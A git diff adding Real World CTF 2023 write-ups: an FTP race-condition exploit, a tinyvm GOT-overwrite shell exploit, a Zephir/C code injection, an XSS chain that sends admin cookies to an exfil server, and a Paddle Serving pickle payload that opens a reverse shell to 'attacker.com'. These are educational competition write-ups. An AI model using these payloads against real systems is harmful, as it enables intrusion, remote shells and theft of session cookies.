+    port = port.split("(")[1].split(")")[0].split(",")
+    port = int(port[-2])*256+int(port[-1])
+    r.sendline(fake + "\r")
+    r.sendlineafter("connection.\r\n", f"USER {file}\r")
+    return connect(host, port).readallS()
+
+path = [x for x in run("LIST", "/").split() if x.startswith("flag.")][0]
+print(run("RETR hello.txt", f"/{path}"))
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/pwn/nonheavyftp.md b/rwctf-2023/pwn/nonheavyftp.md new file mode 100755 index 0000000..aded62d --- /dev/null +++ b/rwctf-2023/pwn/nonheavyftp.md @@ -0,0 +1,36 @@ +# non heavy ftp + +We are given read-only access to a [LightFTP](https://github.com/hfiref0x/LightFTP) instance configured to only allow access to `/server/data/`. The flag, however, is at `/flag.`. We, therefore, need to find a way to escape `/server/data/` when listing and retrieving files. + +LightFTP implements file operations such as LIST and RETR as follows +1. Parsse the command +2. Normalize the file name (i.e. remove any `..`) and prefix it with the FTP root. +3. Write the filename to the control connection's `context->FileName`. +4. Check that the file exists and is of the right type. +5. Launch a thread for the data connection that + 1. Establishes the connection. For passive mode, this means waiting for the client to connect. + 2. Reads the filename from the control connection's `context->FileName`. + 3. Performs the file operation. + 4. Sends the response to the client. + +Since LightFTP only validates login credentials once we provide the password, it needs to store the username provided by the USER command somewhere until we send the PASS command. It does so in the control connection's `context->FileName`. We can, therefore, set the `FileName` to a nearly arbitrary value between it being set to a known safe value and it actually being read in the data connection's thread. + +``` +from pwn import * + +def run(fake, file): + host = "47.89.253.219" + r = connect(host, 2121) + r.sendlineafter("ready\r\n", "USER anonymous\r") + r.sendlineafter("required\r\n", "PASS any-password-will-be-accepted\r") + r.sendlineafter("proceed.\r\n", "PASV\r") + port = r.readlineS() + port = port.split("(")[1].split(")")[0].split(",") + port = int(port[-2])*256+int(port[-1]) + r.sendline(fake + "\r") + r.sendlineafter("connection.\r\n", f"USER {file}\r") + return connect(host, port).readallS() + +path = [x for x in run("LIST", "/").split() if x.startswith("flag.")][0] +print(run("RETR hello.txt", f"/{path}")) +``` \ No newline at end of file diff --git a/rwctf-2023/pwn/tinyvm.html b/rwctf-2023/pwn/tinyvm.html new file mode 100755 index 0000000..4bc64bc --- /dev/null +++ b/rwctf-2023/pwn/tinyvm.html @@ -0,0 +1,347 @@ + + + + + +tinyvm | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

tinyvm

+ +

We are given only nc 198.11.180.84 6666. There, we are prompted for a file to pwn tinyvm. Tinyvm runs run programs that are written in an x86 asm like syntax.

+ +

Looking at the tinyvm source, we noticed three things:

+
    +
  1. Bound checks pretty much just don’t exist.
  2. +
  3. The 64MiB vm memory is simply malloced. Meaning that, because of it’s size, it will end up in a mmapped region directly before the libc.
  4. +
  5. We can only address stuff with either an integer literal or esp. Since we needed to dynamically compute addresses while exploring the remote, we ended up scripting that and using esp-based memory accesses everywhere.
  6. +
+ +

Meaning that, despite ASLR, we have arbitrary read-write in the vm memory, libc and ld.

+ +

Since we still didn’t know anything about the remote system, we first used the arb read to dump the remote libc. Which turned out to be GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.

+ +

So now we have arbitrary read-write in libc 2.35. An easy way to get shell is to overwrite .got table entries in libc and call __libc_message to execute one gadgets. Check this for more details. Unfortunately, at first glance, none of the available one gadgets seemed to fit any of the calls we were able to reach. But we did find out a way to make it work.

+ +
# 0xebcf8 execve("/bin/sh", rsi, rdx)
+# constraints:
+#   address rbp-0x78 is writable
+#   [rsi] == NULL || rsi == NULL
+#   [rdx] == NULL || rdx == NULL
+
+.text:0000000000077AE7                 mov     rdx, r14
+.text:0000000000077AEA                 mov     rsi, rbp
+.text:0000000000077AED                 mov     rdi, rbx
+.text:0000000000077AF0                 call    j_mempcpy
+
+ +

We overwrite .got+0x40(j_mempcpy) with offset 0xebcf8 and .got+0x98 with offset 0x77AE7 so that it first jumps to 0x77AE7 to clear out registers before jumping to one gadget. And it works!

+ +

After adapting offsets in the same machine as remotely, one gadget works smoothly on the remote machine.

+ +
#coding:utf-8
+from pwn import *
+from time import sleep
+
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    Partial RELRO
+# Stack:    No canary found
+# NX:       NX enabled
+# PIE:      PIE enabled
+
+stack_to_libc_offset = 0x3e03ff0
+
+def write_libc(offset, value):
+    assert offset % 4 == 0
+    instructions = []
+    instructions.append(f"add esp, {stack_to_libc_offset + offset + 4 }")
+    instructions.append(f"mov eax, {value}")
+    instructions.append(f"push eax")
+    instructions.append(f"sub esp, {stack_to_libc_offset + offset }")
+    return instructions
+
+def add_libc(offset, value):
+    assert offset % 4 == 0
+    instructions = []
+    instructions.append(f"add esp, {stack_to_libc_offset + offset }")
+    instructions.append(f"pop eax")
+    #instructions.append(f"prn eax")
+    instructions.append(f"add eax, {value}")
+    #instructions.append(f"prn eax")
+    instructions.append(f"push eax")
+    instructions.append(f"sub esp, {stack_to_libc_offset + offset }")
+    return instructions
+
+def corrupt_memory_region():
+    instructions = []
+    instructions.append(f"add esp, {-0x200008}")
+    instructions.append(f"pop eax")
+    instructions.append(f"mov eax, {0xffffffff}")
+    instructions.append(f"push eax")
+    instructions.append(f"sub esp, {-0x200008 }")
+    return instructions
+
+
+got_plt_base = 0x00219000
+
+
+
+def gen_find_got_plt_crashes_program():
+    instructions = []
+    instructions.append("prn esp")
+    #instructions += corrupt_memory_region()
+    #instructions += write_libc(0x26f004,0x41414141)
+
+    for i in range(0, 0x1c8, 8):
+        if(i in [0xb8]):
+            continue
+        instructions += write_libc(got_plt_base+i,i)
+
+    instructions.append("prn esp")
+    return '\n'.join(instructions)
+
+
+
+
+x98_offset = 0x19d960
+x40_offset = 0x1a0890
+
+
+def gen_single_override_program(one_gadget,got_entry, original_got_offset):
+    instructions = []
+    instructions += corrupt_memory_region()
+    instructions += add_libc(got_plt_base+got_entry,one_gadget-original_got_offset)
+    #instructions.append("prn esp")
+    return '\n'.join(instructions)
+
+def gen_program(content_1, entry_1, offset_1, content_2, entry_2, offset_2):
+    instructions = []
+    instructions += corrupt_memory_region()
+    instructions += add_libc(got_plt_base + entry_1, content_1 - offset_1)
+    instructions += add_libc(got_plt_base + entry_2, content_2 - offset_2)
+    #instructions.append("prn esp")
+    return '\n'.join(instructions)
+
+
+def find_crashes():
+    with open('program.vm', 'w') as f:
+        p = gen_find_got_plt_crashes_program()
+        info(p)
+        f.write(p)
+    io = start()
+    #print(hex(io.libc.address + got_plt_base+0x40))
+
+    io.interactive()
+
+
+def try_remote():
+    # p = gen_program(0xebcf8, 0x40, x40_offset, 0x77AE7, 0x98, x98_offset)
+    p = gen_program(0xdd688, 0x40, x40_offset, 0x63227, 0x98, x98_offset)
+    # info(p)
+    # print(p)
+    r = connect("198.11.180.84", 6666)
+    r.sendlineafter("4096) :", str(len(p)))
+    r.send(p)
+
+    r.interactive()
+
+try_remote()
+
+
+ +

rwctf{A_S1gn_In_CHllenge}

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/pwn/tinyvm.md b/rwctf-2023/pwn/tinyvm.md new file mode 100755 index 0000000..40dad6d --- /dev/null +++ b/rwctf-2023/pwn/tinyvm.md @@ -0,0 +1,148 @@ +# tinyvm + +We are given only `nc 198.11.180.84 6666`. There, we are prompted for a file to pwn [tinyvm](https://github.com/jakogut/tinyvm). Tinyvm runs run programs that are written in an x86 asm like syntax. + +Looking at the tinyvm source, we noticed three things: +1. Bound checks pretty much just don't exist. +2. The 64MiB vm memory is simply malloced. Meaning that, because of it's size, it will end up in a mmapped region directly before the libc. +3. We can only address stuff with either an integer literal or esp. Since we needed to dynamically compute addresses while exploring the remote, we ended up scripting that and using esp-based memory accesses everywhere. + +Meaning that, despite ASLR, we have arbitrary read-write in the vm memory, libc and ld. + +Since we still didn't know anything about the remote system, we first used the arb read to dump the remote libc. Which turned out to be `GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.` + +So now we have arbitrary read-write in libc 2.35. An easy way to get shell is to overwrite .got table entries in libc and call `__libc_message` to execute one gadgets. Check [this](https://github.com/nobodyisnobody/write-ups/tree/main/RCTF.2022/pwn/bfc) for more details. Unfortunately, at first glance, none of the available one gadgets seemed to fit any of the calls we were able to reach. But we did find out a way to make it work. + +``` +# 0xebcf8 execve("/bin/sh", rsi, rdx) +# constraints: +# address rbp-0x78 is writable +# [rsi] == NULL || rsi == NULL +# [rdx] == NULL || rdx == NULL + +.text:0000000000077AE7 mov rdx, r14 +.text:0000000000077AEA mov rsi, rbp +.text:0000000000077AED mov rdi, rbx +.text:0000000000077AF0 call j_mempcpy +``` + +We overwrite .got+0x40(j_mempcpy) with offset `0xebcf8` and `.got+0x98` with offset `0x77AE7` so that it first jumps to `0x77AE7` to clear out registers before jumping to one gadget. And it works! + +After adapting offsets in the same machine as remotely, one gadget works smoothly on the remote machine. + +```python +#coding:utf-8 +from pwn import * +from time import sleep + + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: Partial RELRO +# Stack: No canary found +# NX: NX enabled +# PIE: PIE enabled + +stack_to_libc_offset = 0x3e03ff0 + +def write_libc(offset, value): + assert offset % 4 == 0 + instructions = [] + instructions.append(f"add esp, {stack_to_libc_offset + offset + 4 }") + instructions.append(f"mov eax, {value}") + instructions.append(f"push eax") + instructions.append(f"sub esp, {stack_to_libc_offset + offset }") + return instructions + +def add_libc(offset, value): + assert offset % 4 == 0 + instructions = [] + instructions.append(f"add esp, {stack_to_libc_offset + offset }") + instructions.append(f"pop eax") + #instructions.append(f"prn eax") + instructions.append(f"add eax, {value}") + #instructions.append(f"prn eax") + instructions.append(f"push eax") + instructions.append(f"sub esp, {stack_to_libc_offset + offset }") + return instructions + +def corrupt_memory_region(): + instructions = [] + instructions.append(f"add esp, {-0x200008}") + instructions.append(f"pop eax") + instructions.append(f"mov eax, {0xffffffff}") + instructions.append(f"push eax") + instructions.append(f"sub esp, {-0x200008 }") + return instructions + + +got_plt_base = 0x00219000 + + + +def gen_find_got_plt_crashes_program(): + instructions = [] + instructions.append("prn esp") + #instructions += corrupt_memory_region() + #instructions += write_libc(0x26f004,0x41414141) + + for i in range(0, 0x1c8, 8): + if(i in [0xb8]): + continue + instructions += write_libc(got_plt_base+i,i) + + instructions.append("prn esp") + return '\n'.join(instructions) + + + + +x98_offset = 0x19d960 +x40_offset = 0x1a0890 + + +def gen_single_override_program(one_gadget,got_entry, original_got_offset): + instructions = [] + instructions += corrupt_memory_region() + instructions += add_libc(got_plt_base+got_entry,one_gadget-original_got_offset) + #instructions.append("prn esp") + return '\n'.join(instructions) + +def gen_program(content_1, entry_1, offset_1, content_2, entry_2, offset_2): + instructions = [] + instructions += corrupt_memory_region() + instructions += add_libc(got_plt_base + entry_1, content_1 - offset_1) + instructions += add_libc(got_plt_base + entry_2, content_2 - offset_2) + #instructions.append("prn esp") + return '\n'.join(instructions) + + +def find_crashes(): + with open('program.vm', 'w') as f: + p = gen_find_got_plt_crashes_program() + info(p) + f.write(p) + io = start() + #print(hex(io.libc.address + got_plt_base+0x40)) + + io.interactive() + + +def try_remote(): + # p = gen_program(0xebcf8, 0x40, x40_offset, 0x77AE7, 0x98, x98_offset) + p = gen_program(0xdd688, 0x40, x40_offset, 0x63227, 0x98, x98_offset) + # info(p) + # print(p) + r = connect("198.11.180.84", 6666) + r.sendlineafter("4096) :", str(len(p))) + r.send(p) + + r.interactive() + +try_remote() + +``` + +`rwctf{A_S1gn_In_CHllenge}` diff --git a/rwctf-2023/rev/ferrisproxy.html b/rwctf-2023/rev/ferrisproxy.html new file mode 100755 index 0000000..101fa22 --- /dev/null +++ b/rwctf-2023/rev/ferrisproxy.html @@ -0,0 +1,220 @@ + + + + + +Ferris Proxy | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Ferris Proxy

+ +

In the client and server we find hardcoded private keys.

+ +

The first packet contains some information about the key used. In the first +attachment this was missing so we were not able to really decrypt anything.

+ +

In the second one we could decrypt the data after the first packet using the +rc4 key “explorer”. Then using the private keys we can RSA decrypt the data +to get 16 random bytes from the client and 16 random bytes from the server. +Xored together they are the session key for the current session. (Indicated by +one of the first few ints in the packet). All the packets are encrypted using +AES128, so pretty easy to decrypt from that.

+ +

After that I wrote a parser for SOCKS5 and thought how I can decrypt the SSL +traffic and if there was some form of ssl intercept which would make that +possible.

+ +

Turns out it wasn’t and the attachment was just wrong again, after the second +update three or four teams immediatly had the flag, so I know that I wasn’t the +only one trying to decrypt ssl…

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/rev/ferrisproxy.md b/rwctf-2023/rev/ferrisproxy.md new file mode 100755 index 0000000..8eebf1f --- /dev/null +++ b/rwctf-2023/rev/ferrisproxy.md @@ -0,0 +1,21 @@ +# Ferris Proxy + +In the client and server we find hardcoded private keys. + +The first packet contains some information about the key used. In the first +attachment this was missing so we were not able to really decrypt anything. + +In the second one we could decrypt the data after the first packet using the +rc4 key "explorer". Then using the private keys we can RSA decrypt the data +to get 16 random bytes from the client and 16 random bytes from the server. +Xored together they are the session key for the current session. (Indicated by +one of the first few ints in the packet). All the packets are encrypted using +AES128, so pretty easy to decrypt from that. + +After that I wrote a parser for SOCKS5 and thought how I can decrypt the SSL +traffic and if there was some form of ssl intercept which would make that +possible. + +Turns out it wasn't and the attachment was just wrong *again*, after the second +update three or four teams immediatly had the flag, so I know that I wasn't the +only one trying to decrypt ssl... diff --git a/rwctf-2023/web/astlibra.html b/rwctf-2023/web/astlibra.html new file mode 100755 index 0000000..6a3d4df --- /dev/null +++ b/rwctf-2023/web/astlibra.html @@ -0,0 +1,246 @@ + + + + + +ASTLIBRA | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

ASTLIBRA

+ +

We can provide a URL that is escaped using PHP’s addslashes function and then inserted into this template:

+
namespace {namespace};
+
+class {class}{
+    public function getURL(){
+        return "{base64url}";
+    }
+    public function test(){
+        var ch = curl_init();
+        curl_setopt(ch, CURLOPT_URL, "{url}");
+        curl_setopt(ch, CURLOPT_HEADER, 0);
+        curl_exec(ch);
+        curl_close(ch);
+        return true;
+    }
+}
+
+ +

This code is then compiled by zephir (a PHP-like language that gets compiled to C).

+ +

By tinkering around, we noticed that zephir will escape new lines as \n when generating the C string for the URL. Carriage returns, on the other hand, are left unchanged. This then leads to GCC failing to compile the code as it treats carriage returns as new lines. Using some preprocessor magic, this allows us to inject (almost) arbirary C code.

+
+

Whenever backslash appears at the end of a line (immediately followed by the newline character), both backslash and newline are deleted […]. +If we set the URL to http\<CR>");<our injected code>// (there is a check that the URL starts with http), addslashes will escape it as http\\<CR>\");<our injected code>//. Zephir will then generate the following line of C code from this ZVAL_STRING(&_1, "http\\<CR>\");<our injected code>//"); and finally the preprocessor will transform this into ZVAL_STRING(&_1, "http\\");<our injected code>//"); which will then compile our C code.

+
+ +

Since the flag was in a MySQL database in a different docker and the server had a config.php that already connected to the database, we used a payload that used system to run the following PHP code when the zephir module was loaded (to bypass a bunch of checks that would run after the module was loaded but before test() is called).

+
<?php
+require_once("/var/www/html/config.php");
+
+$stmt = $dbc->prepare("SELECT flag FROM flag;");
+$stmt->execute();
+$result = $stmt->get_result();
+$row = $result->fetch_assoc();
+echo $row["flag"];
+
+
__attribute__((constructor)) void a() {
+    char a[] = {<CMD>};
+    system(a);
+    exit(0);
+};
+
+ +

note

+

The intended solution was to use a bug in the templating code that would convert \\ into \ in the URL to get code injection in zephir (instead of C). This actually almost breaks our exploit since it removes the second backslash before the carriage return. However, we didn’t notice at the time since, during codegen, zephir will properly escape the orphaned backslash.

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/web/astlibra.md b/rwctf-2023/web/astlibra.md new file mode 100755 index 0000000..1f88e8c --- /dev/null +++ b/rwctf-2023/web/astlibra.md @@ -0,0 +1,48 @@ +# ASTLIBRA + +We can provide a URL that is escaped using PHP's `addslashes` function and then inserted into this template: +``` +namespace {namespace}; + +class {class}{ + public function getURL(){ + return "{base64url}"; + } + public function test(){ + var ch = curl_init(); + curl_setopt(ch, CURLOPT_URL, "{url}"); + curl_setopt(ch, CURLOPT_HEADER, 0); + curl_exec(ch); + curl_close(ch); + return true; + } +} +``` + +This code is then compiled by zephir (a PHP-like language that gets compiled to C). + +By tinkering around, we noticed that zephir will escape new lines as `\n` when generating the C string for the URL. Carriage returns, on the other hand, are left unchanged. This then leads to GCC failing to compile the code as it treats carriage returns as new lines. Using some preprocessor magic, this allows us to inject (almost) arbirary C code. +> Whenever backslash appears at the end of a line (immediately followed by the newline character), both backslash and newline are deleted [...]. +If we set the URL to `http\");//` (there is a check that the URL starts with `http`), `addslashes` will escape it as `http\\\");//`. Zephir will then generate the following line of C code from this `ZVAL_STRING(&_1, "http\\\");//");` and finally the preprocessor will transform this into `ZVAL_STRING(&_1, "http\\");//");` which will then compile our C code. + +Since the flag was in a MySQL database in a different docker and the server had a `config.php` that already connected to the database, we used a payload that used `system` to run the following PHP code when the zephir module was loaded (to bypass a bunch of checks that would run after the module was loaded but before `test()` is called). +``` +prepare("SELECT flag FROM flag;"); +$stmt->execute(); +$result = $stmt->get_result(); +$row = $result->fetch_assoc(); +echo $row["flag"]; +``` +``` +__attribute__((constructor)) void a() { + char a[] = {}; + system(a); + exit(0); +}; +``` + +## note +The intended solution was to use a bug in the templating code that would convert `\\` into `\` in the URL to get code injection in zephir (instead of C). This actually almost breaks our exploit since it removes the second backslash before the carriage return. However, we didn't notice at the time since, during codegen, zephir will properly escape the orphaned backslash. \ No newline at end of file diff --git a/rwctf-2023/web/chatuwu.html b/rwctf-2023/web/chatuwu.html new file mode 100755 index 0000000..7f440c2 --- /dev/null +++ b/rwctf-2023/web/chatuwu.html @@ -0,0 +1,328 @@ + + + + + +ChatUWU | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

ChatUWU

+ +
+

difficulty: Normal +I can assure you that there is no XSS on the server! You will find the flag in admin’s cookie. +Challenge: http://47.254.28.30:58000/ XSS Bot: http://47.254.28.30:13337/ attachment

+
+ +

The attachment gives us the index.js that is running on the backend. The challenge description tells us there is an XSS Bot running and looking at that link we see that we can send the bot to a url as long as it is on the challenge server. The main challenge url leads to a website that has a chat room. Looking at the source, we see that there are different chatrooms and one of them is handled differently:

+ +
<script src="/socket.io/socket.io.js"></script>
+
+<script>
+    function reset() {
+        location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`;
+    }
+
+    let query = new URLSearchParams(location.search),
+        nickname = query.get('nickname'),
+        room = query.get('room');
+    if (!nickname || !room) {
+        reset();
+    }
+    for (let k of query.keys()) {
+        if (!['nickname', 'room'].includes(k)) {
+            reset();
+        }
+    }
+    document.title += ' - ' + room;
+    let socket = io(`/${location.search}`),
+        messages = document.getElementById('messages'),
+        form = document.getElementById('form'),
+        input = document.getElementById('input');
+
+    form.addEventListener('submit', function (e) {
+        e.preventDefault();
+        if (input.value) {
+            socket.emit('msg', {from: nickname, text: input.value});
+            input.value = '';
+        }
+    });
+
+    socket.on('msg', function (msg) {
+        let item = document.createElement('li'),
+            msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
+        room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
+        messages.appendChild(item);
+        window.scrollTo(0, document.body.scrollHeight);
+    });
+
+    socket.on('error', msg => {
+        alert(msg);
+        reset();
+    });
+</script>
+
+ +

Specifically, if we set the get parameter room in the url to DOMPurify, it will be assigning the messages to innerHTML instead of textContent. That would allow easy XSS in any message we send in the chat - except that it also has to be msg.isHtml, and that information comes from the server.

+ +

The relevant part of the server code: The message and nickname are truncated and then purified, so the truncation itself does not allow us to inject anything that DOMPurify would normally catch.

+ +
socket.on('msg', msg => {
+        msg.from = String(msg.from).substr(0, 16)
+        msg.text = String(msg.text).substr(0, 140)
+        if (room === 'DOMPurify') {
+            io.to(room).emit('msg', {
+                from: DOMPurify.sanitize(msg.from),
+                text: DOMPurify.sanitize(msg.text),
+                isHtml: true
+            });
+        } else {
+            io.to(room).emit('msg', {
+                from: msg.from,
+                text: msg.text,
+                isHtml: false
+            });
+        }
+    });
+
+ +

The from and text are independently sanitized, and then in the frontend joined together:

+ +
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
+
+ +

So we thought we might be able to inject half of the javascript we want to inject into the nickname and hals into the message text, and hoped that DOMPurify would let us get away with it. It did not.

+ +

In the meantime, people started doing shenanigans on the website, but it seems most of it was just affecting the styling and not executing code. Animated text runs over the screen saying WOW!, amongus unicode characters are being spammed, fake flags are being posted by users who changed their name to system, porn appears, all the text goes blank, and the website starts flashing in red and black.

+ +

We noticed an inconsistency: http://0.0.0.0:58000/?&room=DOMPurify&nickname=guest1369&room=textContent will connect to room textContent but query.get("room") will return DOMPurify, and that is then used to set the room. +But there is still the msg.isHtml check :(

+ +

Dreaming a little bit: We could perhaps make the XSS Bot connect to a socket on a different domain instead. If we were to control what the socket sends to the client, we could make it send isHtml without being purified.

+ +
 let socket = io(`/${location.search}`),
+
+ +

The location.search is everything in the url starting from the question mark. Above line prefixes it with a slash, so normally this refers to the root of the current domain. If we could somehow make socket.io ignore the starting /?, we could give it our own server’s address, and then we could control what the bot receives from the server.

+ +

We achieve this by having an @ in our parameter. Apparently, everything before the @ is considered to be the username on the domain. http://127.0.0.1:58000/?nickname=@example.com/&room=DOMPurify is parsed as the domain example.com/&room=DOMPurify for the socket connection. At the same time, the get parameter room=DOMPurify allows us to still get into the innerHTML region in the client-side line of code

+ +
room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
+
+ +

We can now launch an exploit server that will respond to the socket connection, and send the XSS payload via the socket connection. To achieve that, we can simply:

+
    +
  • take the webserver code
  • +
  • add these lines to accept connection cross-domain: +
    io.engine.on("headers", (headers, req) => {
    +headers["Access-Control-Allow-Origin"] = "*";
    +});
    +
    +
  • +
  • remove the sanitazation of the message: +
              io.to(room).emit('msg', {
    +              from: msg.from,
    +              text: msg.text,
    +              isHtml: true
    +          });
    +
    +
  • +
+ +

Next step is to send the malicious URL to the bot. Our looked like this: +http://[chat_server]:58000/?nickname=x@[exploit_ip]:1231/?&room=DOMPurify (we’re not sure why we need to have ?& after our server hostname, but it didn’t work when we tried to tweak it differently 😅)

+ +

Now, the bot should connect to our server from the challenge domain. Simply connect to your own server, and send an xss payload to get the cookies, such as <img src=x onerror="fetch('https://[exfil server]/'+btoa(document.cookie))">

+ +

Doing this, we receive a request containing base64 encoded flag!

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/web/chatuwu.md b/rwctf-2023/web/chatuwu.md new file mode 100755 index 0000000..acae59a --- /dev/null +++ b/rwctf-2023/web/chatuwu.md @@ -0,0 +1,134 @@ +# ChatUWU + +> difficulty: Normal +> I can assure you that there is no XSS on the server! You will find the flag in admin's cookie. +> Challenge: http://47.254.28.30:58000/ XSS Bot: http://47.254.28.30:13337/ attachment + +The attachment gives us the `index.js` that is running on the backend. The challenge description tells us there is an XSS Bot running and looking at that link we see that we can send the bot to a url as long as it is on the challenge server. The main challenge url leads to a website that has a chat room. Looking at the source, we see that there are different chatrooms and one of them is handled differently: + +```js + + + +``` + +Specifically, if we set the get parameter `room` in the url to `DOMPurify`, it will be assigning the messages to `innerHTML` instead of `textContent`. That would allow easy XSS in any message we send in the chat - except that it also has to be `msg.isHtml`, and that information comes from the server. + +The relevant part of the server code: The message and nickname are truncated and *then* purified, so the truncation itself does not allow us to inject anything that DOMPurify would normally catch. + +```js +socket.on('msg', msg => { + msg.from = String(msg.from).substr(0, 16) + msg.text = String(msg.text).substr(0, 140) + if (room === 'DOMPurify') { + io.to(room).emit('msg', { + from: DOMPurify.sanitize(msg.from), + text: DOMPurify.sanitize(msg.text), + isHtml: true + }); + } else { + io.to(room).emit('msg', { + from: msg.from, + text: msg.text, + isHtml: false + }); + } + }); +``` + +The `from` and `text` are independently sanitized, and then in the frontend joined together: + +```js +msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`; +``` + +So we thought we might be able to inject half of the javascript we want to inject into the nickname and hals into the message text, and hoped that DOMPurify would let us get away with it. It did not. + + + +In the meantime, people started doing shenanigans on the website, but it seems most of it was just affecting the styling and not executing code. Animated text runs over the screen saying `WOW!`, amongus unicode characters `ඞ` are being spammed, fake flags are being posted by users who changed their name to `system`, porn appears, all the text goes blank, and the website starts flashing in red and black. + + + +We noticed an inconsistency: `http://0.0.0.0:58000/?&room=DOMPurify&nickname=guest1369&room=textContent` will connect to room `textContent` but `query.get("room")` will return `DOMPurify`, and that is then used to set the `room`. +But there is still the `msg.isHtml` check :( + +Dreaming a little bit: We could perhaps make the XSS Bot connect to a socket on a different domain instead. If we were to control what the socket sends to the client, we could make it send `isHtml` without being purified. + +```js + let socket = io(`/${location.search}`), +``` + +The `location.search` is everything in the url starting from the question mark. Above line prefixes it with a slash, so normally this refers to the root of the current domain. If we could somehow make `socket.io` ignore the starting `/?`, we could give it our own server's address, and then we could control what the bot receives from the server. + +We achieve this by having an `@` in our parameter. Apparently, everything before the `@` is considered to be the username on the domain. `http://127.0.0.1:58000/?nickname=@example.com/&room=DOMPurify` is parsed as the domain `example.com/&room=DOMPurify` for the socket connection. At the same time, the get parameter `room=DOMPurify` allows us to still get into the `innerHTML` region in the client-side line of code + +```js +room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext; +``` + +We can now launch an exploit server that will respond to the socket connection, and send the XSS payload via the socket connection. To achieve that, we can simply: +- take the webserver code +- add these lines to accept connection cross-domain: +```js +io.engine.on("headers", (headers, req) => { + headers["Access-Control-Allow-Origin"] = "*"; +}); +``` +- remove the sanitazation of the message: +```js + io.to(room).emit('msg', { + from: msg.from, + text: msg.text, + isHtml: true + }); +``` + +Next step is to send the malicious URL to the bot. Our looked like this: +`http://[chat_server]:58000/?nickname=x@[exploit_ip]:1231/?&room=DOMPurify` (we're not sure why we need to have `?&` after our server hostname, but it didn't work when we tried to tweak it differently 😅) + +Now, the bot should connect to our server from the challenge domain. Simply connect to your own server, and send an xss payload to get the cookies, such as `` + +Doing this, we receive a request containing base64 encoded flag! diff --git a/rwctf-2023/web/paddle.html b/rwctf-2023/web/paddle.html new file mode 100755 index 0000000..1a7ff7f --- /dev/null +++ b/rwctf-2023/web/paddle.html @@ -0,0 +1,292 @@ + + + + + +Paddle | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Paddle

+ +

Tags: Clone-and-Pwn, web

+ +
+

Flexible to serve ML models, and more.

+
+ +

For this challenge, we are given a Dockerfile that installs the latest version of Paddle Servinge and runs the built-in demo.

+ +
FROM python:3.6-slim
+RUN apt-get update && \
+    apt-get install libgomp1 && \
+    rm -rf /var/lib/apt/lists/*
+RUN pip install \
+    paddle-serving-server==0.9.0 \
+    paddle-serving-client==0.9.0 \
+    paddle-serving-app==0.9.0 \
+    paddlepaddle==2.3.0
+WORKDIR /usr/local/lib/python3.6/site-packages/paddle_serving_server/env_check/simple_web_service
+RUN cp config_cpu.yml config.yml
+RUN echo "rwctf{this is flag}" > /flag
+CMD ["python", "web_service.py"]
+
+ +

Looking at the codebase, we can find Pickle deserialization in the python/pipeline/operator.py file. So if can control the tensor argument of proto_tensor_2_numpy, we can get RCE.

+ +

This method is called in unpack_request_package and because Op is the supertype of all the operator classes, it will get called when the server processes our request.

+ +
class Op(object):
+    def proto_tensor_2_numpy(self, tensor):
+        # [...]
+        elif tensor.elem_type == 13:
+            # VarType: BYTES
+            byte_data = BytesIO(tensor.byte_data)
+            np_data = np.load(byte_data, allow_pickle=True)
+        # [...]
+    
+    def unpack_request_package(self, request):
+        # [...]
+        for one_tensor in request.tensors:
+            name = one_tensor.name
+            elem_type = one_tensor.elem_type
+
+            # [...]
+            
+            numpy_dtype = _TENSOR_DTYPE_2_NUMPY_DATA_DTYPE.get(elem_type)
+            
+            if numpy_dtype == "string":
+                # [...]
+            else:
+                np_data, np_lod = self.proto_tensor_2_numpy(one_tensor)
+                dict_data[name] = np_data
+                if np_lod is not None:
+                    dict_data[name + ".lod"] = np_lod
+
+
+ +

So request should contain:

+
{
+    "tensors": [
+        {
+            "name": ":psyduck:",
+            "elem_type": 13,
+            "byte_data": "pickled data"
+        }
+    ]
+}
+
+ +

Where pickled data can be generated with the classic Pickle RCE payload:

+
import pickle
+import base64
+
+reverse_shell = """export RHOST="attacker.com";export RPORT=1337;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'"""
+
+class PickleRce(object):
+    def __reduce__(self):
+        import os
+        return (os.system,(reverse_shell,))
+
+print(base64.b64encode(pickle.dumps(PickleRce())))
+
+ +

So finally we can send the exploit to get a reverse shell:

+
curl -v http://47.88.23.73:37068/uci/prediction -d '{"tensors": [{"name": ":psyduck:", "elem_type": 13, "byte_data": "gANjcG9z..."}]}'
+
+ +
cat /flag
+
+
+

rwctf{R0ck5-with-PaddLe-s3rv3r}

+
+ + + + + + +
+
+
+ + + + + + +
